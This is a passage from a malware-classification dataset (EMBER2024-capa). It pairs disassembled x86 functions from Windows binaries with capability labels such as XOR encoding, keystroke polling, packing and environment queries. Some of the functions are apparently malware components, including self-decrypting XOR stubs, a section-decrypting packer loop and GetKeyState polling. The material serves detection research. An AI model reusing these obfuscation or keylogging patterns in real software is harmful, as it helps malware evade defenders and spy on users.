joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10034c94
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10061ff2
call fcn.10060810
sub esp, 0x20
push ebx
push esi
mov byte [ebp - 0x14], dl
mov dword [ebp - 0x24], 0x1406
cmp dword [ebp - 0x24], 0x14ba
push edi
mov dword [ebp - 0x10], esp
jle 0x10034d26
xor edi, edi
mov dword [ebp - 0x20], edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
and dword [ebp - 0x18], 0
mov dword [ebp - 0x28], ebx
and ebx, edi
mov edi, dword [ebp - 0x18]
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov eax, edi
sar eax, cl
mov ecx, 0x1007d358
xor eax, ebx
cdq
push edx
push eax
call fcn.1000ef91
mov ecx, dword [ebp - 0x18]
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x3d69
jl 0x10034cd5
inc edi
cmp edi, 0x4333
jl 0x10034cd0
mov ebx, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x20]
inc ebx
mov dword [ebp - 0x1c], ebx
cmp ebx, 0x505b
jl 0x10034cc4
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x7364
jl 0x10034cbf
push 0
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
and dword [ebp - 4], 0
cmp dword [ebp - 0x24], 0x12f5
jge 0x10034d42
mov edx, str.pcugytdus_vgs_spwfdgbr_edu_qrlyhyh_pelmxal_bvpnnf_xioe_svsll_arqzvguvo
mov ecx, 0x1007d358
call fcn.10011e0c
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x14], 0
je 0x10034e34
mov dword [ebp - 0x28], 0x5602
cmp dword [ebp - 0x28], 0x59c7
jle 0x10034dda
xor edi, edi
mov dword [ebp - 0x1c], edi
xor eax, eax
mov dword [ebp - 0x20], 0x5373
mov dword [ebp - 0x18], eax
mov edi, dword [ebp - 0x18]
xor ebx, ebx
mov dword [ebp - 0x24], ebx
and dword [ebp - 0x2c], 0
mov eax, edi
cdq
idiv ebx
mov edi, dword [ebp - 0x2c]
mov ebx, edx
mov eax, ebx
mov ecx, 0x1007d358
or eax, edi
cdq
push edx
push eax
call fcn.1000ef91
inc edi
cmp edi, 0x1bf4
jl 0x10034d87
mov ebx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x18]
inc ebx
mov dword [ebp - 0x24], ebx
cmp ebx, 0x3ff6
jl 0x10034d79
mov edi, dword [ebp - 0x1c]
add dword [ebp - 0x18], edi
dec dword [ebp - 0x20]
jne 0x10034d71
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x6922
jl 0x10034d65
push 0x1301
push 0xe34
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov eax, dword [ebp + 8]
dec dword [eax]
mov dword [ebp - 4], 2
cmp dword [ebp - 0x28], 0x54a2
jge 0x10034dfe
mov edx, str.nzgpi_kucjwd_keiwkw_ozzuxlwg_nlix_wdggunu_ixihwqg_xji_jhc_ouwyl_yqpmlszd_zpfdworea_cfkz_dklv
mov ecx, 0x1007d358
call fcn.10011e0c
jmp 0x10034e44
push ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp + 0xc]
push eax
call fcn.10036e7d
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10034e55
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10061fff
call fcn.10060810
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], 0x48d8
mov edi, edx
xor esi, esi
mov dword [ebp - 0x10], esp
cmp dword [ebp - 0x18], 0x4a15
mov dword [ebp - 0x1c], edi
jle 0x10034ec6
mov ebx, esi
mov eax, esi
mov dword [ebp - 0x14], esi
mov edi, ebx
mov dword [ebp - 0x20], esi
mov ecx, eax
sar edi, cl
mov eax, edi
mov ecx, 0x1007d358
xor eax, esi
cdq
push edx
push eax
call fcn.1000ef91
inc esi
cmp esi, 0x23bc
jl 0x10034e8f
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
push 0
pop esi
cmp eax, 0x5420
jl 0x10034e86
inc ebx
cmp ebx, 0x7505
jl 0x10034e81
mov edi, dword [ebp - 0x1c]
mov dword [ebp - 4], esi
cmp dword [ebp - 0x18], 0x4891
jge 0x10034f02
mov edx, str.iwzqallzc_opoqa_rmbo_jgmiws
mov ecx, 0x1007d358
call fcn.10011e0c
jmp 0x10034f02
cmp byte [ebp + 8], 0
je 0x10034f8e
mov ebx, dword [ebp + 0x20]
xor edx, edx
inc edx
mov eax, dword [ebx]
mov eax, dword [ebp + 0x4c]
mov eax, dword [eax]
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov eax, dword [ebp + 0x14]
mov dword [eax], edx
mov ecx, dword [eax]
mov eax, dword [edi]
dec dword [edi]
cmp eax, ecx
mov eax, dword [ebp + 0x44]
cmove edx, esi
xor ecx, ecx
mov eax, dword [eax]
cmp edx, eax
mov eax, dword [ebp + 0x10]
setne cl
mov eax, dword [eax]
sub ecx, eax
cmp ecx, dword [ebx]
jle 0x10034f49
cmp dword [edi], esi
je 0x10034f4c
xor esi, esi
inc esi
mov edx, dword [ebp + 0x3c]
lea eax, [esi + 0x2ed07459]
mov esi, dword [ebp + 0x28]
cmp eax, dword [esi]
jle 0x10034f5e
mov eax, dword [edx]
mov ecx, dword [ebp + 0x2c]
mov eax, dword [ebx]
mov dword [ecx], eax
mov eax, dword [ecx]
xor ecx, ecx
test eax, eax
sete cl
cmp ecx, dword [esi]
jle 0x10034f74
mov eax, dword [edx]
mov eax, dword [ebp + 0x24]
mov ecx, dword [ebp + 0x44]
mov eax, dword [eax]
mov eax, dword [ebx]
add eax, 0x731d497c
mov dword [ecx], eax
mov eax, dword [ebp + 0x30]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x10034faa
mov edx, dword [ebp + 0x38]
push 2
pop edi
mov dword [edx], esi
cmp dword [edx], edi
jge 0x10034faa
mov esi, dword [ebp + 0x18]
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], edi
inc dword [edx]
cmp dword [edx], edi
jl 0x10034f9d
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003515c
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10062013
call fcn.10060810
sub esp, 0x14
push ebx
push esi
mov dword [ebp - 0x18], 0x1f69
mov eax, ecx
cmp dword [ebp - 0x18], 0x2311
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], eax
jle 0x100351e7
xor esi, esi
xor edi, edi
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x14], eax
and eax, ebx
mov ecx, 0x1007d358
xor eax, edi
xor eax, esi
cdq
push edx
push eax
call fcn.1000ef91
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x510b
jl 0x1003518f
inc ebx
cmp ebx, 0x78a7
jl 0x1003518a
inc edi
cmp edi, 0x830
jl 0x10035188
inc esi
cmp esi, 0x327e
jl 0x10035186
push 0xe47
push 0x13b9
push 0
push 0
push 0x6cc
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp + 8]
push eax
push 0
push ecx
push ecx
call fcn.1003523e
and dword [ebp - 4], 0
add esp, 0x10
cmp dword [ebp - 0x18], 0x1d34
jge 0x10035213
mov edx, str.lpy_yaugpu_cotafyw_khakyn_fiio_rzfnsgstx
mov ecx, 0x1007d358
call fcn.10011e0c
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10035b09
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10062073
call fcn.10060810
sub esp, 0x30
cmp byte [ebp + 0x24], 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, ecx
mov byte [ebp - 0x1c], dl
je 0x10035c16
cmp byte [ebp + 0x1c], 0
je 0x10035bf3
mov dword [ebp - 0x20], 0x33ae
xor ebx, ebx
cmp dword [ebp - 0x20], 0x34a8
jle 0x10035b81
mov esi, ebx
mov edi, esi
mov dword [ebp + 0x24], 0x2663
mov dword [ebp - 0x24], ebx
mov eax, edi
mov ecx, 0x1007d358
xor eax, ebx
cdq
push edx
push eax
call fcn.1000ef91
inc ebx
cmp ebx, 0x5c87
jl 0x10035b55
dec edi
dec dword [ebp + 0x24]
push 0
pop ebx
jne 0x10035b52
inc esi
cmp esi, 0x6cba
jl 0x10035b49
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x20], 0x323b
jge 0x10035b9c
mov edx, str.ftyrrs_zhs_xjpubipg_rxwqn_isjafw
mov ecx, 0x1007d358
call fcn.10011e0c
or dword [ebp - 4], 0xffffffff
mov esi, dword [ebp + 0x10]
cmp dword [esi], ebx
jbe 0x10035cdd
push 1
push ecx
push 0x16a0
push 0x7fe5
push ecx
push dword [ebp + 0x14]
mov ecx, dword [ebp + 0x18]
call fcn.10035aa4
add esp, 0x18
inc ebx
cmp ebx, dword [esi]
jb 0x10035bab
jmp 0x10035cdd
mov byte [ebp + 0x27], 0
cmp byte [ebp + 0x27], 0
je 0x10035cdd
push ecx
push 0x219d
push 1
call fcn.10035a81
add esp, 0xc
jmp 0x10035cdd
test dl, dl
je 0x10035c48
mov eax, dword [ebp + 0xc]
push 0x1a
pop edi
mov ecx, dword [eax]
cmp ecx, edi
jge 0x10035c30
mov eax, dword [ebp + 8]
movzx edx, word [eax]
add edx, ecx
jmp 0x10035c3a
mov eax, ecx
cdq
idiv edi
movzx eax, word [esi]
add edx, eax
mov ecx, dword [ebp + 0x20]
push edx
call fcn.1000f12e
jmp 0x10035cdd
push 1
push 1
push 1
push 0x37f3
xor ebx, ebx
lea edx, [ebp - 0x15]
mov byte [ebp - 0x15], bl
mov ecx, 0x52b4
push 0x645b
call fcn.10034196
mov dword [ebp - 0x20], 0x4284
add esp, 0x14
cmp dword [ebp - 0x20], 0x4653
jle 0x10035cc9
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov esi, ebx
mov edi, ebx
mov dword [ebp + 0x24], 0x7c56
mov eax, edi
lea ecx, [ebp - 0x3c]
cdq
push edx
push eax
call fcn.10001acf
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10035ca7
mov eax, dword [eax]
push eax
call fcn.10049e23
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.1000fa8e
add edi, esi
dec dword [ebp + 0x24]
jne 0x10035c90
inc esi
cmp esi, 0x4323
jl 0x10035c87
cmp dword [ebp - 0x20], 0x40bf
jge 0x10035cdd
push str.ydjopspqh_ttrij_notvhnfhg_fvrhudm_fmxex_cpfviyedj_pfy_fxnbbtjg_pfbo_oyt_hjrjbqrfo_nvbmxkty_yaxosv_vrmhhbc
call fcn.10049e23
pop ecx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10036e7d
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push ebx
push esi
xor esi, esi
mov dword [ecx + 4], edx
push edi
inc esi
lea edi, [ecx + 8]
mov ebx, 0x270
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, esi
inc esi
mov dword [edi], edx
lea edi, [edi + 4]
cmp esi, ebx
jl 0x10036e94
pop edi
pop esi
mov dword [ecx], ebx
pop ebx
pop ebp
ret 8

Function at 0x10036eb6
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov edx, 0x10081944
push edi
mov esi, edx
mov edi, 0x7fffffff
mov ecx, dword [esi + 0x9c4]
xor ecx, dword [esi + 0x9c0]
and ecx, edi
xor ecx, dword [esi + 0x9c0]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0xff4]
xor eax, ecx
mov dword [esi], eax
add esi, 4
cmp esi, 0x10081cd0
jl 0x10036ec4
mov esi, 0x9908b0df
mov ecx, dword [edx + 0xd50]
xor ecx, dword [edx + 0xd4c]
and ecx, edi
xor ecx, dword [edx + 0xd4c]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, esi
xor eax, ecx
xor eax, dword [edx]
mov dword [edx + 0x38c], eax
add edx, 4
cmp edx, 0x10081f74
jl 0x10036f04
mov ecx, dword [0x10082cc0]
xor ecx, dword [0x10081944]
and ecx, edi
xor ecx, dword [0x10082cc0]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
and dword [0x10081940], 0
and eax, esi
shr ecx, 1
xor eax, ecx
xor eax, dword [0x10081f74]
mov dword [0x10082300], eax
pop esi
ret

Function at 0x100372d3
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
cmp byte [ebp + 0x24], 0
push ebx
push esi
mov esi, edx
mov ebx, ecx
je 0x10037373
mov edx, dword [ebp + 0x2c]
push edi
mov edi, dword [ebp + 0x30]
mov eax, dword [edi]
mov eax, dword [ebp + 0x40]
mov eax, dword [eax]
mov eax, dword [ebp + 0x44]
mov eax, dword [eax]
mov dword [ebx], 1
mov ecx, dword [edx]
mov eax, dword [ebx]
dec dword [edx]
xor edx, edx
cmp ecx, eax
je 0x10037310
xor ebx, ebx
inc ebx
jmp 0x10037312
mov ebx, edx
mov eax, dword [ebp + 0x3c]
xor ecx, ecx
mov eax, dword [eax]
cmp ebx, eax
mov eax, dword [ebp + 0x44]
setne cl
mov eax, dword [eax]
sub ecx, eax
cmp ecx, dword [edi]
jle 0x10037330
mov eax, dword [ebp + 0x2c]
cmp dword [eax], edx
je 0x10037333
xor edx, edx
inc edx
lea eax, [edx + 0x2ed07459]
mov edx, dword [ebp + 0x14]
cmp eax, dword [esi]
jle 0x10037342
mov eax, dword [edx]
mov ecx, dword [ebp + 0x18]
mov eax, dword [edi]
mov dword [ecx], eax
mov eax, dword [ecx]
xor ecx, ecx
test eax, eax
sete cl
cmp ecx, dword [esi]
jle 0x10037358
mov eax, dword [edx]
mov eax, dword [ebp + 0x20]
mov ecx, dword [ebp + 0x3c]
mov eax, dword [eax]
mov eax, dword [edi]
add eax, 0x731d497c
mov dword [ecx], eax
mov eax, dword [ebp + 0x38]
mov ecx, dword [ecx]
pop edi
mov dword [eax], ecx
jmp 0x1003738a
mov eax, dword [ebp + 0x28]
cmp byte [eax], 0
je 0x1003738a
push 0x2580
xor edx, edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
pop esi
pop ebx
pop ebp
ret
Function at 0x100377da
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, 0x10062171
call fcn.10060810
sub esp, 0x28
cmp byte [ebp + 8], 0
push esi
push edi
je 0x1003786a
mov edi, dword [ebp + 0x18]
mov dword [edi], 0xfffffffd
cmp dword [edi], 0xffffffee
jg 0x10037875
xor esi, esi
push dword [ebp - 0x14]
movdqa xmm0, xmmword [0x1006f850]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x20], esi
push eax
push esi
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x1c], esi
movdqu xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x18], esi
call fcn.100127e2
push esi
push ecx
push ecx
push 0x2446
lea eax, [ebp - 0x10]
mov dword [ebp - 4], esi
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x14], 0x9b7d6b59
mov dword [ebp - 0x10], 0x7c7128ab
lea ecx, [ebp - 0x14]
push eax
call fcn.1003718b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
add esp, 0x18
call fcn.1000f303
dec dword [edi]
cmp dword [edi], 0xffffffee
jle 0x100377ff
jmp 0x10037875
push 0x587
call dword [sym.imp.USER32.dll_GetKeyState]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10038e62
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x1006222c
call fcn.10060810
sub esp, 0x28
push ebx
push esi
mov dword [ebp - 0x24], 0x7c77
cmp dword [ebp - 0x24], 0x7eb4
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], ecx
jle 0x10038ef7
xor edi, edi
mov dword [ebp - 0x18], edi
xor ebx, ebx
mov dword [ebp - 0x14], ebx
and dword [ebp - 0x1c], 0
mov ecx, ebx
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], edi
shl edi, cl
mov eax, edi
mov ecx, 0x1007d358
or eax, ebx
cdq
push edx
push eax
call fcn.1000ef91
inc ebx
cmp ebx, 0x7384
jl 0x10038ea3
mov ebx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
inc ebx
mov dword [ebp - 0x14], ebx
cmp ebx, 0x3e1e
jl 0x10038e95
inc edi
mov dword [ebp - 0x18], edi
cmp edi, 0x6bc7
jl 0x10038e90
push 0x284
push 0x11b0
push 0x1c6d
push 0x24b7
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
cmp byte [ebp + 0x10], 0
je 0x10038f23
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0
je 0x10038fc3
push 0
push 0x1e2f
push ecx
mov ecx, 0x6fe2
call fcn.10039034
add esp, 0xc
jmp 0x10038fc3
mov dword [ebp - 0x20], 0x6502
cmp dword [ebp - 0x20], 0x677a
jle 0x10038f9c
xor edi, edi
mov dword [ebp - 0x1c], edi
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov eax, edi
xor ecx, ecx
cdq
idiv ebx
mov dword [ebp - 0x18], ecx
mov eax, edx
mov dword [ebp - 0x28], eax
mov edi, eax
xor ebx, ebx
shl edi, cl
mov eax, edi
mov ecx, 0x1007d358
xor eax, ebx
cdq
push edx
push eax
call fcn.1000ef91
inc ebx
cmp ebx, 0x14b3
jl 0x10038f52
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x51bb
jl 0x10038f4c
mov ebx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x1c]
inc ebx
mov dword [ebp - 0x14], ebx
cmp ebx, 0x65b0
jl 0x10038f3d
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x300e
jl 0x10038f38
and dword [ebp - 4], 0
cmp dword [ebp - 0x20], 0x6338
jge 0x10038fb8
mov edx, str.weziaxfcv_yjkgry_lzwrcvl_rooe
mov ecx, 0x1007d358
call fcn.10011e0c
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
mov eax, dword [eax]
inc eax
mov dword [ecx], eax
mov dword [ebp - 4], 2
cmp dword [ebp - 0x24], 0x7c34
jge 0x10038fe2
mov edx, str.yfllbs_gixl_spimw_lsmbcpqk
mov ecx, 0x1007d358
call fcn.10011e0c
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003906e
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1006223e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
mov byte [esp], dl
push esi
push edi
test dl, dl
je 0x10039147
mov edi, dword [ebp + 0x14]
mov dword [edi], 0xffffffef
cmp dword [edi], 0xfffffff5
jl 0x1003915a
xor esi, esi
push dword [esp + 0xc]
movdqa xmm0, xmmword [0x1006f840]
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x28]
mov dword [esp + 0x1c], esi
push eax
push esi
lea ecx, [esp + 0x24]
mov dword [esp + 0x28], esi
movdqu xmmword [esp + 0x30], xmm0
mov dword [esp + 0x2c], esi
call fcn.100127e2
mov dword [esp + 0x3c], esi
mov dword [esp + 0xc], 6
mov dword [esp + 0xc], esi
jmp 0x10039125
push 1
push 0x5bf
mov dword [esp + 0x18], 0x72276b87
mov edx, 0x6b99
push ecx
mov ecx, dword [ebp + 0xc]
mov dword [esp + 0x1c], 0x66941fc9
mov dword [esp + 0x1c], 0xf2d3f504
call fcn.10038c3c
add esp, 0xc
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 3
jle 0x100390f1
or dword [esp + 0x3c], 0xffffffff
lea ecx, [esp + 0x14]
call fcn.1000f303
inc dword [edi]
cmp dword [edi], 0xfffffff5
jge 0x100390ad
jmp 0x1003915a
mov eax, dword [ebp + 0x10]
cmp byte [eax], 0
je 0x1003915a
push 0x587
call dword [sym.imp.USER32.dll_GetKeyState]
mov ecx, dword [esp + 0x34]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10039316
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [ebp + 0x14], 0
mov byte [ebp - 4], cl
je 0x10039352
test cl, cl
je 0x10039346
push 0x6381
lea eax, [ebp + 0x17]
mov byte [ebp + 0x17], 0
push eax
push 0x94b
push ecx
xor dl, dl
call fcn.1003906e
add esp, 0x10
jmp 0x1003937e
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov eax, dword [ebp + 0xc]
add dword [eax], ecx
jmp 0x1003937e
cmp byte [ebp + 0x18], 0
je 0x1003936a
mov eax, dword [ebp + 0x10]
cmp byte [eax], 0
je 0x1003937e
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jmp 0x1003937e
cmp byte [edx], 0
je 0x1003937e
push 0x2580
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov esp, ebp
pop ebp
ret
Function at 0x1003d0a2
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x100623f0
call fcn.10060810
sub esp, 0xc
push ebx
push esi
mov dword [ebp - 0x14], 0x4243
mov ebx, edx
cmp dword [ebp - 0x14], 0x42d4
push edi
mov dword [ebp - 0x10], esp
jle 0x1003d0ed
xor esi, esi
xor edi, edi
lea eax, [edi + esi]
mov ecx, 0x1007d358
cdq
push edx
push eax
call fcn.1000ef91
inc edi
cmp edi, 0x7083
jl 0x1003d0cb
inc esi
cmp esi, 0x27af
jl 0x1003d0c9
cmp byte [ebp + 8], 0
je 0x1003d10c
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0
je 0x1003d110
push 0x2580
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x1003d110
mov eax, dword [ebx]
inc dword [eax]
and dword [ebp - 4], 0
cmp dword [ebp - 0x14], 0x4172
jge 0x1003d12c
mov edx, str.xvutpee_srev_uefude_pimi_sfxlde_cduxnvb_ocnfpy
mov ecx, 0x1007d358
call fcn.10011e0c
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x403203
pop dword [ebp - 0x48]
mov eax, 0xc2c4dafa
sub eax, 0xc284a8f7
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x9133f1a7
add dword [ebp - 0x58], 0xbd1e53a4
mov dword [ebp - 0x54], 0x6d72dc07
sub dword [ebp - 0x54], 0x3b3f8fc2
mov dword [ebp - 0x50], 0x5b319122
sub dword [ebp - 0x50], 0xee54cf4
mov dword [ebp - 0x4c], 0x872ce947
sub dword [ebp - 0x4c], 0x872ce947
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x5f84a17c
add dword [ebp - 0x58], 0x14edc7da
mov dword [ebp - 0x54], 0x4b4207e7
sub dword [ebp - 0x54], 0x9d5a672
mov dword [ebp - 0x50], 0x1711282
sub dword [ebp - 0x50], 0x9e01a616
mov dword [ebp - 0x4c], 0x451743ab
sub dword [ebp - 0x4c], 0x451743ab
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x880b3d09
add eax, 0x783543cb
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x365f9
push 0
call eax
mov ecx, 0x471e
mov ebx, eax
mov edx, 0x411000
add edx, dword [ebp - 0x48]
mov edi, 0xbb6cec63
add dword [ebp - 0x18], ecx
mov esi, dword [edx]
add dword [ebp - 0x14], esi
xor esi, edi
sub dword [ebp - 0x30], ecx
mov dword [ebx], esi
mov dword [ebp - 0x40], 0xbcf79e05
add ebx, 0x6120b9cd
add ebx, 0x9edf4637
add edx, 4
loop 0x40330e
add eax, 0x391945e8
add eax, 0xc6e7c963
mov ebx, eax
add eax, 0xeb111699
sub eax, 0xeb111694
mov ecx, 0x907785ae
sub ecx, 0x903785ae
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x2b05edd
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
mov ecx, 0x24b129be
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x4bb52d
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4d734c]
xor eax, ebp
push esi
mov dword [ebp + 0x74], eax
mov esi, ecx
call fcn.004bb4fd
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.004aa0a0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x4bb591
cmp dword [ebp - 0x1c], 5
jb 0x4bb5a9
jmp 0x4bb5a5
cmp dword [ebp - 0x10], 1
jne 0x4bb5a9
cmp dword [ebp - 0x1c], 4
ja 0x4bb5a5
jne 0x4bb5a9
cmp dword [ebp - 0x18], 0
jbe 0x4bb5a9
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x710
mov dword [esi + 0x14], 0x4d25c8
call fcn.00435f91
test eax, eax
jge 0x4bb5ca
mov byte [0x4d81a4], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004b62ce
add ebp, 0x78
leave
ret

Function at 0x40152a
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
lea eax, [ebp - 0x124]
mov dword [esp + 8], 1
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x120]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x10c]
